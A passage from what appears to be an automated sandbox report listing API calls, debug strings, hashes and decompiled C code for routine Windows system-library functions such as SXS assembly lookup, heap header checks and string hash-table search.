ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6C09612E

Part of subcall function 6C0165BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6C0165CA

RtlInitUnicodeString.1105(?,?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6C09609D
ZwQueryDirectoryFile.1105(?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?,00000008,00000410,?), ref: 6C0960BC
RtlAllocateHeap.1105(?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6C0960E0
memcpy.1105(00000000,0000005E,?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000), ref: 6C0960FA
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6C09611E

Strings

@, xrefs: 6C096017

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeInitStringUnicode$AllocateCloseFile$DirectoryOpenQuerymemcpy
String ID: @
API String ID: 1610808139-2766056989
Opcode ID: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction ID: e79a65e4dd0975181fd01b37f727e01ccfec0454d52e98a392f50f87b7bfaf1c
Opcode Fuzzy Hash: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction Fuzzy Hash: C451BBB2509B05AFD3118F18C940F9BB7F8FB84B18F004529BA50D7A90D7B5E908DB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C094A28, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 126nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,00000001,00000018,00000000,?,?), ref: 6C094AB1

Part of subcall function 6C049600: LdrInitializeThunk.NTDLL(6C041119,?,?,00000018,?), ref: 6C04960A

DbgPrintEx.1105(00000033,00000000,SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx,?,00000000,?,6BFE1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?), ref: 6C094ACC
ZwQueryValueKey.1105(?,6BFE1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6C094AF9
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location value has non-even size,?,6BFE1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6C094B24
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING,?,?,6BFE1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6C094B67
memcpy.1105(00000010,?,?,?,6BFE1B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6C094BA2
ZwClose.1105(?,00000000,?,?), ref: 6C094BCB

Strings

SXS: Assembly storage root location value type is not REG_SZ, xrefs: 6C094B1C
SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx, xrefs: 6C094AC4
SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx, xrefs: 6C094B0C
@, xrefs: 6C094A9B
SXS: Assembly storage root location value has non-even size, xrefs: 6C094B41
SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING, xrefs: 6C094B5F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CloseInitializeOpenQueryThunkValuememcpy
String ID: @$SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING$SXS: Assembly storage root location value has non-even size$SXS: Assembly storage root location value type is not REG_SZ$SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx$SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx
API String ID: 248942162-306078230
Opcode ID: 88d7327c576895fc1c8e4fd5c336ad1c8f54afedcc6e052c902fde76ad3e9dea
Instruction ID: c3d7bca77877ccca579d8414fbacecde7f4ead7393e92a1361293d618a377a78
Opcode Fuzzy Hash: 88d7327c576895fc1c8e4fd5c336ad1c8f54afedcc6e052c902fde76ad3e9dea
Instruction Fuzzy Hash: 1441B471901128BAE7208F919C84BEEB2FCEF05308F1041EAE818A3A10E7359F84DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C49A4, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 114memorynativeCOMMON

Download Yara Rule

APIs

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6C0C44B7,?), ref: 6C0C49DF

Part of subcall function 6C049660: LdrInitializeThunk.NTDLL(6C0918BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6C0E0810,0000001C,6C091616), ref: 6C04966A

RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6C0C44B7,?), ref: 6C0C49FE
memcpy.1105(01000000,?,?,00000000,?,00000000,?,?,6C0C44B7,?), ref: 6C0C4A0C
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6C0C4A42
DbgPrint.1105(HEAP: ,?), ref: 6C0C4A4F
DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6C0C4A66
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?), ref: 6C0C4ABC
DbgPrint.1105(HEAP: ,?,?,?,?,?,?), ref: 6C0C4AC9
DbgPrint.1105( This is located in the %s field of the heap header.,?,?,?,?,?,?), ref: 6C0C4ADB

Strings

This is located in the %s field of the heap header., xrefs: 6C0C4AD6
HEAP: , xrefs: 6C0C4A4A, 6C0C4A5D, 6C0C4A5F, 6C0C4AC4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 6C0C4A61
HEAP[%wZ]: , xrefs: 6C0C4A3D, 6C0C4AB7

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateCompareInitializeThunkVirtualmemcpy
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 4107597528-336120773
Opcode ID: 8c9200dcce1d017b90ce7d55621415cbf1a10fd9486126716e5b6f8c007adeb0
Instruction ID: f6f6f7a371260f684589961382c325ff5879683378cdc503acbd19e00f6c0d38
Opcode Fuzzy Hash: 8c9200dcce1d017b90ce7d55621415cbf1a10fd9486126716e5b6f8c007adeb0
Instruction Fuzzy Hash: 5831E032201514FFD310CB99C884FBF73E9FB05B28F214165F815EBA61E731A984CA6A

Uniqueness

Uniqueness Score: -1.00%

Function 6C023360, Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 355
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6C023360(signed short* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr* _a8, unsigned int _a12, void* _a16) {
				signed int _v8;
				void _v32;
				char _v33;
				void* _v40;
				signed short* _v44;
				struct _EXCEPTION_RECORD _v48;
				char _v52;
				intOrPtr _v56;
				short _v58;
				void* _v60;
				signed short _v64;
				unsigned int _v68;
				intOrPtr _v72;
				void* _v76;
				intOrPtr* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t144;
				short _t165;
				void _t171;
				signed int _t173;
				void* _t177;
				void _t178;
				short _t181;
				void _t187;
				signed short* _t193;
				signed int _t198;
				signed int _t199;
				void* _t200;
				signed int _t206;
				signed short _t207;
				signed short _t208;
				signed char _t220;
				char _t221;
				intOrPtr* _t223;
				signed int _t225;
				void* _t226;
				signed int _t228;
				unsigned int _t229;
				signed short* _t231;
				void* _t233;
				signed int _t235;
				signed int _t237;
				void* _t238;

				_v8 =  *0x6c0fd360 ^ _t237;
				_t193 = __ecx;
				_v48 = _a4;
				_t233 = _a16;
				_t229 = _a12;
				_v72 = __edx;
				_v44 = __ecx;
				_v80 = _a8;
				_v68 = _t229;
				_v40 = _t233;
				_v33 = 1;
				if((__ecx[8] & 0x00000001) == 0) {
					_t220 = 0;
				} else {
					_t220 = 1;
				}
				_v52 = _t220;
				if( *_t193 != 0x64487353) {
					L71:
					_t140 = 0xc0150003;
					goto L32;
				} else {
					if(_t193[0xa] == 0) {
						L31:
						_t140 = 0xc0150008;
						goto L32;
					} else {
						_t198 = _t193[0xe];
						if(_t198 == 0xffffffff) {
							_t221 = 0;
							goto L21;
						} else {
							if( *_t229 == _t198) {
								L20:
								_t221 = _v33;
								goto L21;
							} else {
								_t187 = 0;
								if(_v48 == 0 || _t233 == 0) {
									_t140 = 0xc000000d;
									goto L18;
								} else {
									_t231 = _v48;
									_t193 = _t231[2];
									 *_t233 = 0;
									_t229 = ( *_t231 & 0x0000ffff) >> 1;
									if(_t198 > 1) {
										L65:
										if(E6C01FAB0(_t198, _v48, _v52, 0,  &_v76) < 0) {
											goto L32;
										} else {
											_t193 = _v44;
											E6C095720(0x33, 0, "RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.\n", _t193[0xe]);
											_t238 = _t238 + 0x10;
											_t221 = 0;
											L21:
											_v33 = _t221;
											if(_t193[4] != 1) {
												_t220 = 0;
											}
											_t199 = _t193[0x10];
											asm("sbb al, al");
											if((_t220 &  ~_t199) == 0) {
												if(_t220 == 0 || (_t193[8] & 0x00000002) == 0) {
													_t229 = _v44;
													_t193 = _t193[0xc] + _t229;
													_t233 =  *(_t229 + 0x14);
													if(_t233 != 0) {
														_t200 = _v40;
														do {
															_t144 = _t193[4];
															_v60 = _t144;
															_v58 = _t144;
															_v56 = _t193[2] + _t229;
															if(_t220 == 0 ||  *_t193 ==  *_t200) {
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																	goto L52;
																} else {
																	_t220 = _v33;
																	_t200 = _v40;
																	goto L81;
																}
															} else {
																goto L81;
															}
															goto L83;
															L81:
															_t193 =  &(_t193[0xc]);
															_t233 = _t233 - 1;
														} while (_t233 != 0);
													}
													goto L31;
												} else {
													_t205 = _t193[0xa];
													_t233 = _t193 + _t193[0xc];
													_t65 = _t205 - 1; // -1
													_t229 = _t233 + (_t65 + _t65 * 2) * 8;
													_v32 =  *_v40;
													_t193 = bsearch( &_v32, _t233, _t193[0xa], 0x18, 0x6c038c30);
													if(_t193 == 0) {
														goto L31;
													} else {
														if(_t193 != _t233) {
															_t171 =  *_v40;
															while( *_t193 == _t171) {
																_t193 = _t193 - 0x18;
																if(_t193 != _t233) {
																	continue;
																}
																goto L42;
															}
														}
														L42:
														_t233 =  *_v40;
														if( *_t193 != _t233) {
															_t193 =  &(_t193[0xc]);
														}
														while(1) {
															_t165 = _t193[4];
															_v60 = _t165;
															_v58 = _t165;
															_v56 = _v44 + _t193[2];
															if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																break;
															}
															_t193 =  &(_t193[0xc]);
															if(_t193 > _t229) {
																goto L31;
															} else {
																if( *_t193 == _t233) {
																	continue;
																} else {
																	break;
																}
															}
															goto L83;
														}
														if(_t193 > _t229) {
															goto L31;
														} else {
															if( *_t193 == _t233) {
																goto L51;
															} else {
																goto L31;
															}
														}
													}
												}
											} else {
												_t233 = _t193 + _t199;
												_t206 =  *_v40;
												_t173 = _t206;
												_v68 = _t206;
												if( *_t233 != 0xb) {
													_t225 = _t173 %  *_t233;
												} else {
													_t225 = _t173 % 0xb;
												}
												_t41 = _t233 + 4; // 0x1cc
												_t229 = 0;
												_v40 = _t225;
												_t226 =  *_t41 + _t225 * 8;
												_t220 = _t226 + _t193;
												_t177 =  *((intOrPtr*)(_t226 +  &(_t193[2]))) + _t193;
												_v64 = _t220;
												_v76 = _t177;
												if( *_t220 <= 0) {
													goto L31;
												} else {
													_t233 = _t177;
													while(1) {
														_t178 =  *_t233;
														if(_t178 > _v72) {
															break;
														}
														_t193 = _t193 + _t178;
														if(_v33 == 0 ||  *_t193 == _t206) {
															_t207 = _t193[2];
															if(_t207 > _v72) {
																_push(_v76);
																_push(_t220);
																_push(_v40);
																_push(_v44);
																_push(_t207);
																E6C095720(0x33, 0, "SXS: String hash table entry at %p has invalid key offset (= %ld)\n   Header = %p; Index = %lu; Bucket = %p; Chain = %p\n", _t193);
																_t140 = 0xc0150003;
																goto L32;
															} else {
																_t181 = _t193[4];
																_v60 = _t181;
																_v58 = _t181;
																_v56 = _v44 + _t207;
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) != 0) {
																	_t206 = _v68;
																	_t220 = _v64;
																	goto L30;
																} else {
																	L51:
																	_t229 = _v44;
																	L52:
																	if(_t193 == 0 || _t193[6] == 0) {
																		goto L31;
																	} else {
																		_t223 = _v80;
																		if(_t223 != 0) {
																			 *((intOrPtr*)(_t223 + 4)) =  *((intOrPtr*)(_t229 + 0xc));
																			 *((intOrPtr*)(_t223 + 8)) = _t193[6] + _t229;
																			 *(_t223 + 0xc) = _t193[8];
																			if(_t223 + 0x28 <=  *_t223 + _t223) {
																				 *(_t223 + 0x24) = _t193[0xa];
																			}
																		}
																		return E6C04B640(0, _t193, _v8 ^ _t237, _t223, _t229, _t233);
																	}
																}
															}
														} else {
															L30:
															_t193 = _v44;
															_t229 = _t229 + 1;
															_t233 = _t233 + 4;
															if(_t229 <  *_t220) {
																continue;
															} else {
																goto L31;
															}
														}
														goto L83;
													}
													_push(_t178);
													E6C095720(0x33, 0, "SXS: String hash collision chain offset at %p (= %ld) out of bounds\n", _t233);
													goto L71;
												}
											}
										}
									} else {
										if(_t220 == 0) {
											if(_t229 != 0) {
												do {
													_t198 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t187 = _t187 * 0x1003f + _t198;
													_t229 = _t229 - 1;
												} while (_t229 != 0);
											}
										} else {
											if(_t229 != 0) {
												_t220 =  *0x6c0f6d5c;
												do {
													_t208 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t229 = _t229 - 1;
													_v64 = _t208;
													if(_t208 < 0x61) {
														L34:
														_t198 = _t208 & 0x0000ffff;
													} else {
														if(_t208 > 0x7a) {
															_t235 = _t208 & 0x0000ffff;
															_t228 = ( *(_t220 + (_t235 >> 8) * 2) & 0x0000ffff) + (_t235 >> 0x00000004 & 0x0000000f);
															_t220 =  *0x6c0f6d5c;
															_t208 =  *((intOrPtr*)(_t220 + (( *( *0x6c0f6d5c + _t228 * 2) & 0x0000ffff) + (_t235 & 0x0000000f)) * 2)) + _v64;
															goto L34;
														} else {
															_t198 = (_t208 & 0x0000ffff) - 0x20;
														}
													}
													_t187 = _t187 * 0x1003f + _t198;
												} while (_t229 != 0);
												_t233 = _v40;
											}
										}
										_t193 = _v44;
										_t229 = _v68;
										 *_t233 = _t187;
										_t140 = 0;
										L18:
										if(_t140 < 0) {
											if(_t140 != 0xc000000d) {
												L32:
												return E6C04B640(_t140, _t193, _v8 ^ _t237, _t220, _t229, _t233);
											} else {
												goto L65;
											}
										} else {
											 *_t229 = _t193[0xe];
											goto L20;
										}
									}
								}
							}
						}
					}
				}
				L83:
			}

0x6c02336f
0x6c023376
0x6c023378
0x6c02337f
0x6c023387
0x6c02338a
0x6c02338d
0x6c023390
0x6c023393
0x6c023396
0x6c023399
0x6c02339d
0x6c06d994
0x6c0233a3
0x6c0233a3
0x6c0233a3
0x6c0233ab
0x6c0233ae
0x6c06da5a
0x6c06da5a
0x00000000
0x6c0233b4
0x6c0233b8
0x6c0234ea
0x6c0234ea
0x00000000
0x6c0233be
0x6c0233be
0x6c0233c4
0x6c06d99b
0x00000000
0x6c0233ca
0x6c0233cc
0x6c023458
0x6c023458
0x00000000
0x6c0233d2
0x6c0233d2
0x6c0233d7
0x6c06d9c2
0x00000000
0x6c0233e5
0x6c0233e5
0x6c0233e8
0x6c0233eb
0x6c0233f0
0x6c0233f5
0x6c06d9d7
0x6c06d9ea
0x00000000
0x6c06d9f0
0x6c06d9f0
0x6c06d9ff
0x6c06da04
0x6c06da07
0x6c02345b
0x6c023461
0x6c023464
0x6c06da0e
0x6c06da0e
0x6c02346a
0x6c023471
0x6c023475
0x6c02353f
0x6c06da7c
0x6c06da82
0x6c06da84
0x6c06da89
0x6c06da8f
0x6c06da92
0x6c06da92
0x6c06da96
0x6c06da9a
0x6c06daa3
0x6c06daa8
0x6c06dac1
0x00000000
0x6c06dac7
0x6c06dac7
0x6c06daca
0x00000000
0x6c06daca
0x00000000
0x00000000
0x00000000
0x00000000
0x6c06dacd
0x6c06dacd
0x6c06dad0
0x6c06dad0
0x6c06dad5
0x00000000
0x6c02354f
0x6c02354f
0x6c023555
0x6c02355c
0x6c023562
0x6c02356e
0x6c02357a
0x6c023581
0x00000000
0x6c023587
0x6c023589
0x6c02358e
0x6c023590
0x6c023594
0x6c023599
0x00000000
0x00000000
0x00000000
0x6c023599
0x6c023590
0x6c02359b
0x6c02359e
0x6c0235a2
0x6c0235a4
0x6c0235a4
0x6c0235b0
0x6c0235b0
0x6c0235b7
0x6c0235bb
0x6c0235c5
0x6c0235d6
0x00000000
0x00000000
0x6c06da64
0x6c06da69
0x00000000
0x6c06da6f
0x6c06da71
0x00000000
0x6c06da77
0x00000000
0x6c06da77
0x6c06da71
0x00000000
0x6c06da69
0x6c0235de
0x00000000
0x6c0235e4
0x6c0235e6
0x00000000
0x6c0235e8
0x00000000
0x6c0235e8
0x6c0235e6
0x6c0235de
0x6c023581
0x6c02347b
0x6c02347e
0x6c023486
0x6c023488
0x6c02348a
0x6c02348d
0x6c0235ed
0x6c023493
0x6c023498
0x6c023498
0x6c02349a
0x6c02349d
0x6c02349f
0x6c0234a2
0x6c0234a9
0x6c0234ab
0x6c0234ad
0x6c0234b0
0x6c0234b5
0x00000000
0x6c0234b7
0x6c0234b7
0x6c0234c0
0x6c0234c0
0x6c0234c5
0x00000000
0x00000000
0x6c0234cb
0x6c0234d1
0x6c0235f4
0x6c0235fa
0x6c06da20
0x6c06da23
0x6c06da24
0x6c06da27
0x6c06da2a
0x6c06da35
0x6c06da3d
0x00000000
0x6c023600
0x6c023600
0x6c023607
0x6c02360b
0x6c023614
0x6c023625
0x6c06da15
0x6c06da18
0x00000000
0x6c02362b
0x6c02362b
0x6c02362b
0x6c02362e
0x6c023630
0x00000000
0x6c023640
0x6c023640
0x6c023645
0x6c02364c
0x6c023656
0x6c02365c
0x6c023664
0x6c023669
0x6c023669
0x6c023664
0x6c02367e
0x6c02367e
0x6c023630
0x6c023625
0x6c0234df
0x6c0234df
0x6c0234df
0x6c0234e2
0x6c0234e3
0x6c0234e8
0x00000000
0x00000000
0x00000000
0x00000000
0x6c0234e8
0x00000000
0x6c0234d1
0x6c06da47
0x6c06da52
0x00000000
0x6c06da57
0x6c0234b5
0x6c023475
0x6c0233fb
0x6c0233fd
0x6c06d9a4
0x6c06d9aa
0x6c06d9aa
0x6c06d9ad
0x6c06d9b6
0x6c06d9b8
0x6c06d9b8
0x6c06d9bd
0x6c023403
0x6c023405
0x6c023407
0x6c023410
0x6c023410
0x6c023413
0x6c023416
0x6c023417
0x6c02341d
0x6c023535
0x6c023535
0x6c023423
0x6c023426
0x6c023502
0x6c023519
0x6c023525
0x6c023531
0x00000000
0x6c02342c
0x6c02342f
0x6c02342f
0x6c023426
0x6c023438
0x6c02343a
0x6c02343e
0x6c02343e
0x6c023405
0x6c023441
0x6c023444
0x6c023447
0x6c023449
0x6c02344b
0x6c02344d
0x6c06d9d1
0x6c0234f2
0x6c0234ff
0x00000000
0x00000000
0x00000000
0x6c023453
0x6c023456
0x00000000
0x6c023456
0x6c02344d
0x6c0233f5
0x6c0233d7
0x6c0233cc
0x6c0233c4
0x6c0233b8
0x00000000

APIs

bsearch.1105(?,?,00000000,00000018,6C038C30,6C022A25,00000000,00000000), ref: 6C023575
RtlCompareUnicodeString.1105(?,?,?,?,?,6C022A25,00000000,00000000), ref: 6C0235CF
RtlHashUnicodeString.1105(?,?,00000000,?,6C022A25,00000000,00000000), ref: 6C06D9E3
DbgPrintEx.1105(00000033,00000000,RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.,?,?,?,00000000,?,6C022A25,00000000,00000000), ref: 6C06D9FF

Strings

SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p, xrefs: 6C06DA2C
SXS: String hash collision chain offset at %p (= %ld) out of bounds, xrefs: 6C06DA49
SsHd, xrefs: 6C0233A5
RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section., xrefs: 6C06D9F6

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$CompareHashPrintbsearch
String ID: RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.$SXS: String hash collision chain offset at %p (= %ld) out of bounds$SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p$SsHd
API String ID: 856964118-2905229100
Opcode ID: b5aee647a1efece6241ceaa2b7c3760b0067c782d089e53faeb5baf8a88f55e2
Instruction ID: fa1cf378a11d57db876b1d4cc59e22a5ec739ef2b32845a0a26c3c6d563c99c0
Opcode Fuzzy Hash: b5aee647a1efece6241ceaa2b7c3760b0067c782d089e53faeb5baf8a88f55e2
Instruction Fuzzy Hash: D2D1BD71A04219CBCB15CF99C890BADB7F9FF4C308F2441AAE815ABB01D735E945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C003ACA, Relevance: 21.3, APIs: 14, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6C003ACA(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t197;
				intOrPtr _t200;
				intOrPtr _t206;
				intOrPtr _t209;
				intOrPtr _t217;
				signed int _t224;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr _t238;
				signed int _t246;
				signed int _t249;
				char* _t252;
				intOrPtr _t257;
				signed int _t272;
				intOrPtr _t280;
				intOrPtr _t281;
				signed char _t286;
				signed int _t291;
				signed int _t292;
				intOrPtr _t299;
				intOrPtr _t301;
				signed int _t307;
				intOrPtr* _t308;
				signed int _t309;
				intOrPtr _t312;
				signed int* _t313;
				intOrPtr _t315;
				signed int _t316;
				void* _t317;

				_push(0x84);
				_push(0x6c0df4d0);
				E6C05D0E8(__ebx, __edi, __esi);
				_t312 = __edx;
				 *((intOrPtr*)(_t317 - 0x38)) = __edx;
				 *((intOrPtr*)(_t317 - 0x20)) = __ecx;
				_t307 = 0;
				 *(_t317 - 0x74) = 0;
				 *((intOrPtr*)(_t317 - 0x78)) = 0;
				_t272 = 0;
				 *(_t317 - 0x60) = 0;
				 *((intOrPtr*)(_t317 - 0x68)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t197 = __edx + 0x28;
				 *((intOrPtr*)(_t317 - 0x7c)) = _t197;
				 *((intOrPtr*)(_t317 - 0x88)) = _t197;
				E6C022280(_t197, _t197);
				_t280 =  *((intOrPtr*)(_t312 + 0x2c));
				 *((intOrPtr*)(_t317 - 0x34)) = _t280;
				L1:
				while(1) {
					if(_t280 == _t312 + 0x2c) {
						E6C01FFB0(_t272, _t307,  *((intOrPtr*)(_t317 - 0x7c)));
						asm("sbb ebx, ebx");
						return E6C05D130( ~_t272 & 0xc000022d, _t307, _t312);
					}
					_t15 = _t280 - 4; // -4
					_t200 = _t15;
					 *((intOrPtr*)(_t317 - 0x70)) = _t200;
					 *((intOrPtr*)(_t317 - 0x8c)) = _t200;
					 *((intOrPtr*)(_t317 - 0x6c)) = _t200;
					_t308 = 0x7ffe0010;
					_t313 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									 *(_t317 - 0x30) =  *0x6c0f8628;
									 *(_t317 - 0x44) =  *0x6c0f862c;
									 *(_t317 - 0x28) =  *_t313;
									 *(_t317 - 0x58) = _t313[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t281 =  *0x7ffe0008;
										__eflags = _t301 -  *_t308;
										if(_t301 ==  *_t308) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t313 = 0x7ffe03b0;
									_t309 =  *0x7ffe03b0;
									 *(_t317 - 0x40) = _t309;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t317 - 0x3c)) = _t206;
									__eflags =  *(_t317 - 0x28) - _t309;
									_t308 = 0x7ffe0010;
								} while ( *(_t317 - 0x28) != _t309);
								__eflags =  *(_t317 - 0x58) - _t206;
							} while ( *(_t317 - 0x58) != _t206);
							 *(_t317 - 0x28) =  *0x6c0f862c;
							__eflags =  *(_t317 - 0x30) -  *0x6c0f8628;
							_t308 = 0x7ffe0010;
						} while ( *(_t317 - 0x30) !=  *0x6c0f8628);
						__eflags =  *(_t317 - 0x44) -  *(_t317 - 0x28);
					} while ( *(_t317 - 0x44) !=  *(_t317 - 0x28));
					_t315 =  *((intOrPtr*)(_t317 - 0x6c));
					_t307 = 0;
					_t272 =  *(_t317 - 0x60);
					asm("sbb edx, [ebp-0x3c]");
					asm("sbb edx, eax");
					 *(_t317 - 0x28) = _t281 -  *(_t317 - 0x40) -  *(_t317 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x2c]");
					_t209 =  *((intOrPtr*)(_t317 - 0x20));
					_t286 =  *(_t315 + 0x24) &  *(_t209 + 0x18);
					 *(_t317 - 0x40) = _t286;
					__eflags =  *(_t315 + 0x34);
					if( *(_t315 + 0x34) != 0) {
						L37:
						 *((intOrPtr*)(_t317 - 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t317 - 0x34))));
						E6C03DF4C(_t317 - 0x78, _t315, _t317 - 0x74, _t317 - 0x78);
						_t316 =  *(_t317 - 0x74);
						__eflags = _t316;
						_t280 =  *((intOrPtr*)(_t317 - 0x34));
						if(_t316 != 0) {
							 *0x6c0fb1e0( *((intOrPtr*)(_t317 - 0x78)));
							 *_t316();
							_t280 =  *((intOrPtr*)(_t317 - 0x34));
						}
						_t312 =  *((intOrPtr*)(_t317 - 0x38));
						continue;
					}
					__eflags = _t286;
					if(_t286 == 0) {
						goto L37;
					}
					 *(_t317 - 0x5c) = _t286;
					_t45 = _t317 - 0x5c;
					 *_t45 =  *(_t317 - 0x5c) & 0x00000001;
					__eflags =  *_t45;
					if( *_t45 == 0) {
						L40:
						__eflags = _t286 & 0xfffffffe;
						if((_t286 & 0xfffffffe) != 0) {
							__eflags =  *((intOrPtr*)(_t315 + 0x64)) - _t307;
							if( *((intOrPtr*)(_t315 + 0x64)) == _t307) {
								L14:
								__eflags =  *(_t315 + 0x40) - _t307;
								if( *(_t315 + 0x40) != _t307) {
									__eflags = _t301 -  *(_t315 + 0x4c);
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t299 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *(_t315 + 0x5c) -  *((intOrPtr*)(_t299 + 0x10));
										if( *(_t315 + 0x5c) >=  *((intOrPtr*)(_t299 + 0x10))) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t317 - 0x28) -  *(_t315 + 0x48);
									if( *(_t317 - 0x28) >=  *(_t315 + 0x48)) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *((intOrPtr*)(_t317 + 8)) - _t307;
								if( *((intOrPtr*)(_t317 + 8)) != _t307) {
									__eflags =  *((intOrPtr*)(_t315 + 0x58)) - _t307;
									if( *((intOrPtr*)(_t315 + 0x58)) != _t307) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t317 - 0x24) = _t307;
								 *(_t317 - 0x30) = _t307;
								 *((intOrPtr*)(_t317 - 0x2c)) =  *((intOrPtr*)(_t315 + 0x10));
								_t217 =  *((intOrPtr*)(_t315 + 0xc));
								 *((intOrPtr*)(_t317 - 0x4c)) =  *((intOrPtr*)(_t217 + 0x10));
								 *((intOrPtr*)(_t317 - 0x48)) =  *((intOrPtr*)(_t217 + 0x14));
								 *(_t317 - 0x58) =  *(_t217 + 0x24);
								 *((intOrPtr*)(_t317 - 0x3c)) =  *((intOrPtr*)(_t315 + 0x14));
